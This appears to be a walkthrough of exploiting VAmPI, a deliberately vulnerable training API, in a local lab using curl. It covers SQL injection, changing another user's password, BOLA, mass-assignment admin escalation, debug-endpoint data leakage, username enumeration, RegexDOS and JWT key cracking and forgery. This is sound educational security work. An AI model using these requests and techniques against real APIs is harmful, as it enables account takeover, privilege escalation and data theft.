VAmPI is an educational vulnerable API created by erev0s that includes vulnerabilities from the OWASP top 10 for APIs (2019). The API features an application where users can register and then login to post books. For any book the data accepted are the title and a secret about that book. Each book is unique for every user and only the owner of the book should be allowed to view the secret.
According to the documentation, the vulnerabilities contained in the source code are the following:
SQLi Injection.
Unauthorized password change.
BOLA (Broken Object Level Authorization).
Mass assignment.
Excessive data exposure through debug endpoint.
User and password enumeration.
RegexDOS (Denial of Service).
Lack of resources & rate limiting.
JWT authentication bypass via weak signing key.
The exercise can be solved using Burpsuite, Postman or Curl. Since we have already used the first two ones in crAPI and vAPI respectively, we will use Curl this time for the sake of learning and trying different tools.
KEYWORDS
API, OWASP top 10, curl, SQLi, sqlmap, BOLA, mass assignment, user enumeration, RegexDOS, evil regex, JWT cracking.
And run a container based on the image. Normally, VAmPI is designed to listen on port 5000, but in this case I used port 8011 because my local lab already has port 5000 in use.
> docker run -d -p 8011:5000 dc13b794b8a1
267883a02526a819f943b0eb8f8c9d5278a32031dba999d81c9eb5190d019683
The Swagger UI documentation site is now accessible on port 8011.
Let's try querying the welcome endpoint.
> curl -vX GET -H 'accept: application/json' http://10.1.1.11:8011/
ENUMERATION
Port scan.
> for ports in $(nmap $target -p- --min-rate=5000 -Pn --open --reason | grep open | awk -F "/" '{print $1}' | tr '\n' ',' | sed s/,$//); do nmap $target -p$ports -sV -sC -Pn -vv -n && echo "\nList of open ports: $ports";done
Starting Nmap 7.93 ( https://nmap.org ) at 2025-02-11 17:36 GMT
Nmap scan report for 10.1.1.11
Host is up, received user-set (0.00039s latency).
Scanned at 2025-02-11 17:36:42 GMT for 88s
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 8be0259d91b29350b4459f838facb74d (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBLT6wwJTer/+DKjTHq17dKEjw82WZVl0c5HclgD94WVnqNq/dFjBJVtjvNHlwhj3IB2ta1GFHBdeXLx8xp+j0UE=
| 256 3a6b9b777ca7738db0f7f88de8222b80 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIALpQa+3h1F16fiGkVf84y5A1VhaqD8dBsN4GfDWARg+
8011/tcp open unknown syn-ack
| fingerprint-strings:
| GetRequest:
| HTTP/1.1 200 OK
| Server: Werkzeug/2.2.3 Python/3.11.10
| Date: Tue, 11 Feb 2025 17:42:21 GMT
| Content-Type: application/json
| Content-Length: 271
| Connection: close
| "message": "VAmPI the Vulnerable API", "help": "VAmPI is a vulnerable on purpose API. It was created in order to evaluate the efficiency of third party tools in identifying vulnerabilities in APIs but it can also be used in learning/teaching purposes.", "vulnerable":1}
| HTTPOptions:
| HTTP/1.1 200 OK
| Server: Werkzeug/2.2.3 Python/3.11.10
| Date: Tue, 11 Feb 2025 17:42:21 GMT
| Content-Type: text/html; charset=utf-8
| Allow: GET, OPTIONS, HEAD
| Content-Length: 0
| Connection: close
| Help:
| <!DOCTYPE HTML>
| <html lang="en">
| <head>
| <meta charset="utf-8">
| <title>Error response</title>
| </head>
| <body>
| <h1>Error response</h1>
| <p>Error code: 400</p>
| <p>Message: Bad request syntax ('HELP').</p>
| <p>Error code explanation: 400 - Bad request syntax or unsupported method.</p>
| </body>
| </html>
| RTSPRequest:
| <!DOCTYPE HTML>
| <html lang="en">
| <head>
| <meta charset="utf-8">
| <title>Error response</title>
| </head>
| <body>
| <h1>Error response</h1>
| <p>Error code: 400</p>
| <p>Message: Bad request version ('RTSP/1.0').</p>
| <p>Error code explanation: 400 - Bad request syntax or unsupported method.</p>
| </body>
|_ </html>
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8011-TCP:V=7.93%I=7%D=2/11%Time=67AB8AB0%P=x86_64-pc-linux-gnu%r(Ge
SF:tRequest,1B6,"HTTP/1\.1\x20200\x20OK\r\nServer:\x20Werkzeug/2\.2\.3\x20
SF:Python/3\.11\.10\r\nDate:\x20Tue,\x2011\x20Feb\x202025\x2017:42:21\x20G
SF:MT\r\nContent-Type:\x20application/json\r\nContent-Length:\x20271\r\nCo
SF:nnection:\x20close\r\n\r\n{\x20\"message\":\x20\"VAmPI\x20the\x20Vulner
SF:able\x20API\",\x20\"help\":\x20\"VAmPI\x20is\x20a\x20vulnerable\x20on\x
SF:20purpose\x20API\.\x20It\x20was\x20created\x20in\x20order\x20to\x20eval
SF:uate\x20the\x20efficiency\x20of\x20third\x20party\x20tools\x20in\x20ide
SF:ntifying\x20vulnerabilities\x20in\x20APIs\x20but\x20it\x20can\x20also\x
SF:20be\x20used\x20in\x20learning/teaching\x20purposes\.\",\x20\"vulnerabl
SF:e\":1}")%r(HTTPOptions,C8,"HTTP/1\.1\x20200\x20OK\r\nServer:\x20Werkzeu
SF:g/2\.2\.3\x20Python/3\.11\.10\r\nDate:\x20Tue,\x2011\x20Feb\x202025\x20
SF:17:42:21\x20GMT\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nAllo
SF:w:\x20GET,\x20OPTIONS,\x20HEAD\r\nContent-Length:\x200\r\nConnection:\x
SF:20close\r\n\r\n")%r(RTSPRequest,16C,"<!DOCTYPE\x20HTML>\n<html\x20lang=
SF:\"en\">\n\x20\x20\x20\x20<head>\n\x20\x20\x20\x20\x20\x20\x20\x20<meta\
SF:x20charset=\"utf-8\">\n\x20\x20\x20\x20\x20\x20\x20\x20<title>Error\x20
SF:response</title>\n\x20\x20\x20\x20</head>\n\x20\x20\x20\x20<body>\n\x20
SF:\x20\x20\x20\x20\x20\x20\x20<h1>Error\x20response</h1>\n\x20\x20\x20\x2
SF:0\x20\x20\x20\x20<p>Error\x20code:\x20400</p>\n\x20\x20\x20\x20\x20\x20
SF:\x20\x20<p>Message:\x20Bad\x20request\x20version\x20\('RTSP/1\.0'\)\.</
SF:p>\n\x20\x20\x20\x20\x20\x20\x20\x20<p>Error\x20code\x20explanation:\x2
SF:0400\x20-\x20Bad\x20request\x20syntax\x20or\x20unsupported\x20method\.<
SF:/p>\n\x20\x20\x20\x20</body>\n</html>\n")%r(Help,167,"<!DOCTYPE\x20HTML
SF:>\n<html\x20lang=\"en\">\n\x20\x20\x20\x20<head>\n\x20\x20\x20\x20\x20\
SF:x20\x20\x20<meta\x20charset=\"utf-8\">\n\x20\x20\x20\x20\x20\x20\x20\x2
SF:0<title>Error\x20response</title>\n\x20\x20\x20\x20</head>\n\x20\x20\x2
SF:0\x20<body>\n\x20\x20\x20\x20\x20\x20\x20\x20<h1>Error\x20response</h1>
SF:\n\x20\x20\x20\x20\x20\x20\x20\x20<p>Error\x20code:\x20400</p>\n\x20\x2
SF:0\x20\x20\x20\x20\x20\x20<p>Message:\x20Bad\x20request\x20syntax\x20\('
SF:HELP'\)\.</p>\n\x20\x20\x20\x20\x20\x20\x20\x20<p>Error\x20code\x20expl
SF:anation:\x20400\x20-\x20Bad\x20request\x20syntax\x20or\x20unsupported\x
SF:20method\.</p>\n\x20\x20\x20\x20</body>\n</html>\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Nmap done: 1 IP address (1 host up) scanned in 88.16 seconds
List of open ports: 22,8011
Before start attacking the API, we are advised to populate the database with dummy data, this is done by sending a GET request to the /createdb endpoint.
> curl -vX GET -H 'accept: application/json' http://10.1.1.11:8011/createdb
And we also need to register a new user in the /users/v1/register endpoint
The application returns an error, but inspecting the output carefully we see the SQL request SELECT * FROM users WHERE username = 'g1vi'+OR+1=1 has been created taking our input without sanitization, so the vulnerability is confirmed.
This vulnerability is found in the file api_views/users.py
The application takes the password from a JSON parameter and uses it to modify the old one. This is possible as authorization is not made at object level as in BOLA vulnerabilities. In other words, the application does not check if the user token we are using to authenticate is authorized to change the password.
Let's exploit this by sending a PUT request to the /users/v1/name1/password endpoint to modify user name1 password. We just need to be logged with our own token, it will work because the application does not check if our user has permissions to modify somebody else's passwords.
The API returns with code 204. We can verify the password has been changed by logging in as user name1 with the new password, and then verifying the old password does not work.
> curl -vX POST -H 'accept: application/json' -H 'Content-Type: application/json' \
-d '{
"username": "name1",
"password": "password123"
}' \
http://10.1.1.11:8011/users/v1/login
Note: Unnecessary use of -X or --request, POST is already inferred.
* Trying 10.1.1.11:8011...
* Connected to 10.1.1.11 (10.1.1.11) port 8011 (#0)
> POST /users/v1/login HTTP/1.1
> Host: 10.1.1.11:8011
> User-Agent: curl/7.85.0
> accept: application/json
> Content-Type: application/json
> Content-Length: 50
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Server: Werkzeug/2.2.3 Python/3.11.10
< Date: Wed, 12 Feb 2025 16:56:34 GMT
< Content-Type: application/json
< Content-Length: 224
< Connection: close
<
* Closing connection 0
{"auth_token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MzkzNzk0NTQsImlhdCI6MTczOTM3OTM5NCwic3ViIjoibmFtZTEifQ.qVJgFY6_GV2Hyx1JAIseRCxgAhPUEbpBqgJ5uoldW6s", "message": "Successfully logged in.", "status": "success"}
> curl -vX POST -H 'accept: application/json' -H 'Content-Type: application/json' \
-d '{
"username": "name1",
"password": "pass1"
}' \
http://10.1.1.11:8011/users/v1/login
Note: Unnecessary use of -X or --request, POST is already inferred.
* Trying 10.1.1.11:8011...
* Connected to 10.1.1.11 (10.1.1.11) port 8011 (#0)
> POST /users/v1/login HTTP/1.1
> Host: 10.1.1.11:8011
> User-Agent: curl/7.85.0
> accept: application/json
> Content-Type: application/json
> Content-Length: 44
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Server: Werkzeug/2.2.3 Python/3.11.10
< Date: Wed, 12 Feb 2025 16:56:44 GMT
< Content-Type: application/json
< Content-Length: 81
< Connection: close
<
* Closing connection 0
{ "status": "fail", "message": "Password is not correct for the given username."}
BROKEN OBJECT LEVEL AUTHORIZATION
The vulnerability is found in the file api_views/books.py
The application takes the book name and retrieves all parameters from the database, including the book secret. No authorization check are made to verify if the user is allowed to retrieve this secret, contrary to what is said in the documentation: "each book is unique for every user and only the owner of the book should be allowed to view the secret".
To confirm the vulnerability, first we dump all book names using our token.
And we verify we are able to see the book's secret using our token, when it is supposed to be allowed only for its owner. This is possible because no authorization checks are made at object (book) level.
MASS ASSIGNMENT
This vulnerability is found in the source file api_views/users.py
We are prompted to escalate our privileges by manipulating the POST register request adding an extra parameter.
According to the source code, as long as we register a new user adding an extra parameter called admin (with any value) we will receive administrative privileges.
During application development, programmers usually create endpoints for debugging purposes. These may remain active after entry into service, leaking all kind of sensitive information. We are prompted to find one of these debug endpoints.
The debug endpoint code is found in file api_views/users.py, where we find a call to get_all_users_debug()
Which in turn calls a method in models/user_model.py that basically makes a query to retrieve all user parameters in the database.
Let's query this endpoint and see what happens.
> curl -vX GET http://10.1.1.11:8011/users/v1/_debug
In fact we see all info related to the users, including changes we have made so far: our new user, the admin we have just created user and the password we modified before.
USER AND PASSWORD ENUMERATION
This is related to applications being too verbose when a failed login attempt happens, either by a wrong username or by a wrong password. Normally, the application should provide the same information or error message in both cases, so the attacker is not able to assemble a brute force attack.
Vulnerability is found in api_views/users.py
Here we see there are two different messages for both cases. This permits us enumerating usernames, and when a valid one is found, we can brute force the password.
To demonstrate this first we force two failed login attempts.
> curl -vX POST -H 'accept: application/json' -H 'Content-Type: application/json' \
-d '{
"username": "g1vi",
"password": "hey"
}' \
http://10.1.1.11:8011/users/v1/login
Note: Unnecessary use of -X or --request, POST is already inferred.
* Trying 10.1.1.11:8011...
* Connected to 10.1.1.11 (10.1.1.11) port 8011 (#0)
> POST /users/v1/login HTTP/1.1
> Host: 10.1.1.11:8011
> User-Agent: curl/7.85.0
> accept: application/json
> Content-Type: application/json
> Content-Length: 41
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Server: Werkzeug/2.2.3 Python/3.11.10
< Date: Wed, 12 Feb 2025 18:16:10 GMT
< Content-Type: application/json
< Content-Length: 81
< Connection: close
<
* Closing connection 0
{ "status": "fail", "message": "Password is not correct for the given username."}
> curl -vX POST -H 'accept: application/json' -H 'Content-Type: application/json' \
-d '{
"username": "hey",
"password": "password123"
}' \
http://10.1.1.11:8011/users/v1/login
Note: Unnecessary use of -X or --request, POST is already inferred.
* Trying 10.1.1.11:8011...
* Connected to 10.1.1.11 (10.1.1.11) port 8011 (#0)
> POST /users/v1/login HTTP/1.1
> Host: 10.1.1.11:8011
> User-Agent: curl/7.85.0
> accept: application/json
> Content-Type: application/json
> Content-Length: 48
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Server: Werkzeug/2.2.3 Python/3.11.10
< Date: Wed, 12 Feb 2025 18:16:25 GMT
< Content-Type: application/json
< Content-Length: 57
< Connection: close
<
* Closing connection 0
{ "status": "fail", "message": "Username does not exist"}
With the reply length data we can enumerate usernames with ffuf
For this, capture a login request with Burpsuite and edit to add FUZZ fields in the username parameter.
The resulting request should be something similar to this.
In fact, abusing the vulnerability we have been able to enumerate two valid usernames. Next step would be to brute force both passwords with a similar attack.
The API crashes. The server needs to be restarted to continue the test.
LACK OF RESOURCES AND RATE LIMITING
This vulnerability is related to applications that do not provide a limit to the amount of resources required to satisfy specific users requests. This is a useful protection against, for example, attacks that send a high number of requests in short time, such as user enumeration or password brute force.
This vulnerability has been previously confirmed, when we have been able to enumerate usernames.
JWT AUTHENTICATION BYPASS VIA WEAK SIGNING KEY
Generate an authentication token and inspect it with jwt_tool
With the cracked password we can forge tickets for another user, for example, name2
And use the forged ticket to interact with the API as name2
WRAPPING UP
At this point we have been able to find and exploit the 9 vulnerabilities proposed by the author in the VAmPI documentation, using only Curl to interact with the API as we had proposed at the beginning of the exercise.